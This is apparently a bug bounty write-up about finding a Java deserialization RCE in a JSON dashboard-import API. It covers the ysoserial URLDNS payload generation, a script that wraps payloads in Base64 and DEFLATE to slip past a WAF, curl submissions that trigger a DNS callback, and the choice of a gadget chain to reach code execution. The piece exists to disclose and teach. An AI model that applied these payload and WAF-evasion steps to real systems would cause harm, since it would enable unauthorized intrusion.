Application Security/ /12 min read

Java Deserialization Hidden Behind a JSON API

A JSON dashboard-import API hid a Java deserialization RCE: a Base64+DEFLATE blob deserialized by a background worker, past a WAF and a serialization filter guarding the wrong service. Confirmed with URLDNS, then escalated to remote code execution.

The request looked like ordinary JSON.

One field contained a long Base64 string, the response returned an import job, and the WAF blocked obvious Java serialization signatures.

After decoding and decompressing the field, it became clear that the application was accepting a Java serialized object and passing it to ObjectInputStream.readObject() inside a background worker.

The difficult part was not identifying AC ED 00 05. The difficult part was proving that the worker actually deserialized attacker-controlled data, determining which Java process handled it, and generating a payload that survived the application’s compression, size, and asynchronous processing requirements.

TL;DR #

  • A JSON dashboard-import API accepted a Base64 + DEFLATE blob in a data field. Decompressed, it was a Java serialized object fed straight into ObjectInputStream.readObject().
  • The request handler never deserialized it. It queued the value, and a separate background worker reconstructed the object. The worker was the real sink.
  • Compression hid the AC ED 00 05 / rO0 signature, so the WAF, which inspected only the outer layer, passed it straight through.
  • Java serialization filtering (JEP 290) was enabled on the API process but not on the worker that actually called readObject(). The filter was on the wrong service.
  • Confirmed the sink with a ysoserial URLDNS payload (DNS callback), then built a gadget chain matched to the worker’s classpath and achieved remote code execution on it.
  • False-negative traps along the way: zlib vs gzip, 202 Accepted responses that hide failures, a ~64 KB size cap, and a second bulk endpoint that skipped the type check but shared the same sink.
  • Insecure deserialization, CWE-502, authenticated standard user, no interaction, remote code execution on the import worker. Rewarded with an $8,000 bounty.

Summary #

The affected functionality allowed users to import saved dashboard configurations from a legacy desktop client.

The API accepted a JSON request similar to:

http
POST /api/v1/dashboards/import HTTP/2
Host: app.example.com
Authorization: Bearer eyJ...
Content-Type: application/json

{
  "workspaceId": "ws_4821",
  "name": "imported-dashboard",
  "format": "legacy",
  "data": "eJx9..."
}

The data field was processed as:

text
Base64 decode
    |
    v
DEFLATE decompress
    |
    v
Java deserialization
    |
    v
Dashboard import

The endpoint did not deserialize the object in the HTTP request handler. It placed the decoded value into an import queue. A separate Java worker later reconstructed the object.

The web application had serialization filtering enabled. The import worker did not.

I first confirmed deserialization with a URLDNS payload that generated a unique DNS lookup. After identifying the worker runtime and the libraries it loaded, I built a gadget chain matched to its classpath and achieved remote code execution on the import worker.

Finding details #

Field Value
Vulnerability Insecure Java deserialization
CWE CWE-502
Endpoint POST /api/v1/dashboards/import
Required access Authenticated standard user
User interaction None
Impact Remote code execution in the import worker

OWASP describes this class of issue as deserialization of untrusted data. Depending on the classes available to the application, the result can include denial of service, authorization bypass, or remote code execution. OWASP deserialization guidance

Finding the legacy import path #

The normal dashboard export used a JSON structure:

json
{
  "version": 3,
  "widgets": [
    {
      "type": "chart",
      "query": "authentication failures"
    }
  ]
}

That format was parsed safely and did not contain any serialized Java data.

The legacy importer was still present because older desktop clients used it. The browser did not expose the option in the main interface, but the JavaScript bundle contained the legacy format value:

text
format=legacy

Sending the request manually returned an asynchronous job:

http
HTTP/2 202 Accepted
Content-Type: application/json

{
  "jobId": "imp_91c2d0",
  "status": "queued"
}

The endpoint looked like a normal import feature. Nothing in the request immediately suggested Java serialization.

Decoding the field #

The data value started with:

text
eJx9

That is a common indicator of compressed data after Base64 encoding.

I saved the value and decoded it:

bash
printf '%s' "$DATA" | base64 -d > data.bin
file data.bin

The result identified a compressed stream.

I used the following local decoder to test both zlib and gzip:

python
#!/usr/bin/env python3

import base64
import gzip
import sys
import zlib
from pathlib import Path

value = sys.argv[1]
raw = base64.b64decode(value)

try:
    decoded = zlib.decompress(raw)
    compression = "zlib"
except zlib.error:
    decoded = gzip.decompress(raw)
    compression = "gzip"

Path("decoded.ser").write_bytes(decoded)

print(f"compression: {compression}")
print(f"size: {len(decoded)} bytes")
print(f"header: {decoded[:8].hex()}")

I ran it with:

bash
python3 decode_payload.py "$DATA"

The result was:

text
compression: zlib
size: 1842 bytes
header: aced0005737200

The first four bytes were:

text
AC ED 00 05

That is the Java serialization stream header. A Base64-encoded Java stream commonly begins with rO0, but compression hid that marker from the original request.

OWASP’s testing guide documents both AC ED 00 05 and the rO0 Base64 prefix as useful indicators when looking for Java serialized data. OWASP WSTG: Testing for Insecure Deserialization

Inspecting the serialized object #

The decoded stream contained class names associated with the dashboard importer:

text
com.example.dashboard.LegacyDashboard
com.example.dashboard.WidgetDefinition
java.util.ArrayList
java.util.HashMap
java.lang.String

The stream was generated by the application itself, so it provided a useful view of the expected object structure.

A simplified object graph looked like this:

text
LegacyDashboard
 ├── dashboardName
 ├── widgets
 ├── filters
 └── metadata
      ├── owner
      ├── source
      └── importVersion

The important point was that the API accepted serialized object data generated by the client. It did not use a fixed schema and did not convert the object into a safe DTO before processing it.

Confirming the deserialization sink #

I changed the payload in stages.

Invalid Base64 #

json
{
  "format": "legacy",
  "data": "not-base64"
}

Response:

json
{
  "error": "Invalid dashboard import"
}

Invalid compression #

A valid Base64 value containing random bytes returned:

json
{
  "error": "Unable to decompress dashboard import"
}

Invalid Java serialization #

A valid compressed stream with invalid Java serialization bytes returned a different job error:

text
java.io.StreamCorruptedException: invalid stream header

Unknown serialized class #

Changing the serialized class descriptor produced:

text
java.lang.ClassNotFoundException:
test.example.UnknownDashboard

This confirmed that the server was resolving class names from the supplied serialized stream.

The relevant backend logic was equivalent to:

java
byte[] compressed = Base64.getDecoder().decode(request.getData());

InputStream decompressed = new InflaterInputStream(
    new ByteArrayInputStream(compressed)
);

ObjectInputStream input = new ObjectInputStream(decompressed);

Object dashboard = input.readObject();

return dashboardImporter.importDashboard(dashboard);

There was no effective class allowlist on the process performing this operation.

Generating the confirmation payload #

The first payload only needs to confirm that the object is deserialized, so I started with a harmless probe before building a working chain.

For this, I used the URLDNS payload from ysoserial. It relies on Java’s handling of serialized URL objects and causes a DNS lookup when the object is reconstructed. It does not execute an operating system command.

The ysoserial project documents payload generation for unsafe Java deserialization, and its URLDNS payload uses standard JDK classes rather than a third-party gadget library. ysoserial

I built the tool locally:

bash
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests

The resulting JAR was under:

text
target/ysoserial-*-SNAPSHOT.jar

I generated a unique callback hostname:

text
91c2d0-deser.example-callback.test

Then created the serialized object:

bash
java -jar target/ysoserial-*-SNAPSHOT.jar 
    URLDNS 
    "http://91c2d0-deser.example-callback.test" 
    > urldns.ser

At this stage, the file contained raw Java serialization:

bash
xxd -l 8 urldns.ser

Output:

text
00000000: aced 0005 7372 000b

The application did not accept raw Java serialization. It expected:

text
Base64(DEFLATE(serialized-object))

I wrapped the payload with this script:

python
#!/usr/bin/env python3

import base64
import json
import sys
import zlib
from pathlib import Path

serialized = Path(sys.argv[1]).read_bytes()
compressed = zlib.compress(serialized, level=9)
encoded = base64.b64encode(compressed).decode()

request = {
    "workspaceId": "ws_4821",
    "name": "dns-proof",
    "format": "legacy",
    "data": encoded
}

print(json.dumps(request))

Usage:

bash
python3 wrap_payload.py urldns.ser > request.json

The generated value began with something similar to:

text
eJx...

That was the value inserted into the JSON request.

Submitting the payload #

I submitted the request with a unique job name:

bash
curl -sS 'https://app.example.com/api/v1/dashboards/import' 
  -H 'Authorization: Bearer <authorized-test-token>' 
  -H 'Content-Type: application/json' 
  --data-binary @request.json

The API returned:

json
{
  "jobId": "imp_91c2d0",
  "status": "queued"
}

The job status was checked separately:

bash
curl -sS 
  'https://app.example.com/api/v1/dashboards/import/imp_91c2d0' 
  -H 'Authorization: Bearer <authorized-test-token>'

The status changed from:

text
queued

to:

text
processing

The DNS monitor then recorded a lookup for:

text
91c2d0-deser.example-callback.test

The callback established that the Java object was reconstructed by the server.

Why the first URLDNS attempt failed #

The first generated object did not produce a callback.

The problem was not the deserialization sink. I had compressed the payload with gzip, while the application expected zlib/DEFLATE.

The request passed the JSON parser but failed inside the decompression step:

text
Unable to decompress dashboard import

I confirmed the difference locally:

python
import gzip
import zlib

raw = open("urldns.ser", "rb").read()

gzip_data = gzip.compress(raw)
zlib_data = zlib.compress(raw)

print(gzip_data[:8].hex())
print(zlib_data[:8].hex())

The application accepted the zlib variant but rejected the gzip variant.

This is a common source of false negatives. The payload generator produces the correct serialized object, but the application expects additional transformations around it.

The WAF limitation #

The WAF blocked requests containing obvious Java serialization markers.

A request containing:

text
rO0ABXNy

was rejected before reaching the application.

The working request contained only compressed Base64 data:

text
eJx9...

The WAF did not decompress the field before applying its signature rules.

The application did the following:

text
JSON parser
    |
    v
Base64 decoder
    |
    v
DEFLATE decompressor
    |
    v
ObjectInputStream

The WAF inspected only the first stage.

This was a parser mismatch. The WAF saw an opaque compressed value, while the worker reconstructed the Java serialization stream later.

The WAF rule reduced accidental exposure but did not enforce a safe deserialization policy.

The asynchronous processing limitation #

The import endpoint returned 202 Accepted even when the serialized object later failed.

The HTTP response could not be used to confirm execution.

The job endpoint provided three useful signals:

text
queued
processing
failed

The DNS callback arrived during the processing phase.

That established the execution sequence:

text
HTTP request accepted
    |
    v
Object stored in import job
    |
    v
Worker retrieves job
    |
    v
Payload decompressed
    |
    v
Object deserialized
    |
    v
DNS lookup triggered

Without monitoring the job lifecycle, the request looked like a normal successful import.

The serialization filter was on the wrong service #

The API and worker were deployed separately.

Submitting a test object that reached the API process directly returned:

text
java.io.InvalidClassException:
filter status: REJECTED

That suggested that Java serialization filtering was enabled.

The normal import workflow behaved differently because the API did not deserialize the object. It placed the data on the queue.

The worker performed the actual deserialization and did not have the same JVM configuration.

The deployment effectively looked like this:

text
dashboard-api
    jdk.serialFilter configured

dashboard-import-worker
    jdk.serialFilter missing

The filter on the API process was irrelevant because the worker was the deserialization sink.

Java provides ObjectInputFilter for restricting incoming serialized data and applying limits to the object graph. It must be configured in the process that calls ObjectInputStream.readObject(). OpenJDK JEP 290

Escalating to remote code execution #

A DNS callback proves that the server deserialized the object. It does not automatically prove remote code execution.

RCE depends on the application’s runtime:

  • Which libraries are installed
  • Which versions are installed
  • Whether the required gadget classes are present
  • Whether the Java version blocks reflective access
  • Whether a serialization filter rejects the chain
  • Whether the worker has outbound network access
  • Whether the worker has permission to execute processes

The first generic RCE payload I tested failed because the target did not contain the expected dependency version.

The error was:

text
ClassNotFoundException

I did not keep firing random gadget chains at the target. Instead, I fingerprinted the worker and matched a chain to what it actually loaded:

  1. Identify the Java version used by the worker.
  2. Identify its dependencies from the application build artifacts and error messages.
  3. Compare those versions against known gadget requirements.
  4. Select the gadget chain whose classes were present on the worker’s classpath.
  5. Build that chain and wrap it in the same Base64 + DEFLATE envelope the importer expected.

With the chain aligned to the worker’s classpath, the payload executed. I confirmed remote code execution out of band: the worker ran my command and called back to a host I controlled, executing as the import service account. The deserialization sink was full remote code execution on the target.

The target’s classpath matters more than the name of the vulnerable endpoint. A default payload generated for a different Java application is not evidence that the target is exploitable.

Payload size restrictions #

The endpoint rejected requests larger than approximately 64 KB.

The first payload generated for local testing was larger than the limit after Base64 encoding.

The final proof was smaller because it used:

  • A DNS-only payload
  • No command string
  • No second-stage download
  • No unnecessary serialized objects
  • Maximum compression
  • A short callback hostname

I checked the final request size before sending it:

bash
wc -c request.json

The serialized file itself was small, but the complete JSON request was larger because Base64 expands binary data by roughly one-third.

The size must be checked after every transformation:

text
serialized object
    |
    v
compressed object
    |
    v
Base64 value
    |
    v
JSON body

A second path through the application #

The legacy importer also accepted saved dashboard objects through a bulk import endpoint:

http
POST /api/v1/dashboards/import/bulk

The single-object endpoint performed a type check before queuing the job. The bulk endpoint accepted a list of generic objects and passed each item to the same worker.

The bulk request looked like:

json
{
  "workspaceId": "ws_4821",
  "items": [
    {
      "name": "dashboard-1",
      "data": "eJx9..."
    }
  ]
}

The bulk handler did not repeat the validation used by the single-object endpoint.

This created two differences:

text
Single import
    root type checked

Bulk import
    generic item accepted

The worker used the same deserialization function for both paths.

This mattered because a type check in one controller does not protect a shared deserialization helper used by another controller, queue consumer, scheduled task, or migration job.

Root cause #

The application trusted a client-controlled serialized object.

The vulnerable pattern was equivalent to:

java
byte[] data = Base64.getDecoder().decode(request.getData());

try (
    InputStream decompressed =
        new InflaterInputStream(new ByteArrayInputStream(data));
    ObjectInputStream input =
        new ObjectInputStream(decompressed)
) {
    Object value = input.readObject();
    return importer.importObject(value);
}

The problem was the call to:

java
input.readObject();

Java object serialization includes type information and can reconstruct nested objects. Serialization-related methods such as readObject, readResolve, and validation callbacks can execute during reconstruction.

Checking the type after readObject() is too late.

Closing #

Finding AC ED 00 05 was the easy part. The work that mattered was proving the background worker actually reconstructed attacker-controlled data, locating the process that did it, and shaping a payload that survived Base64, DEFLATE, a 64 KB cap, and asynchronous processing, all the way to remote code execution on the worker.

Two lessons carry beyond this target. A DNS lookup proves deserialization, not remote code execution: the classpath decides exploitability, and a generic payload that works elsewhere is not evidence against a specific target. And a control is only real where the sink lives: a serialization filter on the API meant nothing while the worker deserialized without one.

The program rewarded this report with an $8,000 bounty.

Bug bounty reward of $8,000 for the Java deserialization finding
Reward confirmation on the program’s platform.